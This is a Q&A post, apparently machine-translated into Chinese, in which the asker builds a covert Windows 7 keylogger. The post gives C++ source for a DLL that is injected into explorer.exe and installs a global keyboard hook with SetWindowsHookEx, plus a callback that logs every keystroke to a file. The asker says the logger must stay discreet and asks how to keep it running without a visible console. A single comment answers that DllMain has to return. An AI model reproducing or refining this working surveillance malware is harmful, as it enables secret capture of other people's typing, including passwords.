我試圖在Windows 7上創建鍵盤記錄程序。爲此,我創建了一個DLL(setHook.dll
),我注入了explorer.exe的新線程。在這第一個DLL中,我打開了另一個包含每個鍵盤輸入上調用的函數(hookfunc
)的dll。DLL中無限循環注入explorer.exe
我需要讓我的Dll在後臺工作,因爲如果它死了,我失去了我的Hook功能。 要做到這一點,我曾嘗試:
Sleep(INFINITE);
:工作的時刻,但explorer.exe的崩潰while(1);
:工作的時刻,但explorer.exe的崩潰system("pause")
:工作!但我不希望屏幕上出現控制檯,我的鍵盤記錄器必須謹慎。getchar()
:與system("pause")
相同;system("pause > null");
:拒絕訪問this_thread::sleep_for(chrono::seconds(10))
:資源管理器崩潰
SetHook.dll:
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
HMODULE dll;
HOOKPROC addr;
HHOOK handle;
if (dwReason != DLL_PROCESS_ATTACH)
return true;
if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll")))
return false;
if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
return false;
if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
return false;
Sleep(INFINITE); //issue here
return true;
}
CallbackFunc:(我不認爲它可以幫助)
LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam)
{
std::ofstream file;
WORD buf = 0;
BYTE KeyState[256];
file.open("E:\\function.txt", std::ofstream::out | std::ofstream::app);
if (code >= 0 && KEYUP(lParam))
{
if (wParam == VK_RETURN)
file << "[ENTER]";
else
{
GetKeyboardState(KeyState);
ToAscii(wParam, lParam, KeyState, &buf, 0);
file << (char)buf;
}
}
file.close();
return (CallNextHookEx(NULL, code, wParam, lParam));
}
代碼有效,我只需要一個謹慎的無限循環而不是睡眠(INFINITE)。任何想法 ?
你必須從DllMain的返回或過程將掛起。從DllMain返回不會導致DLL被卸載。 – 2014-10-27 19:20:12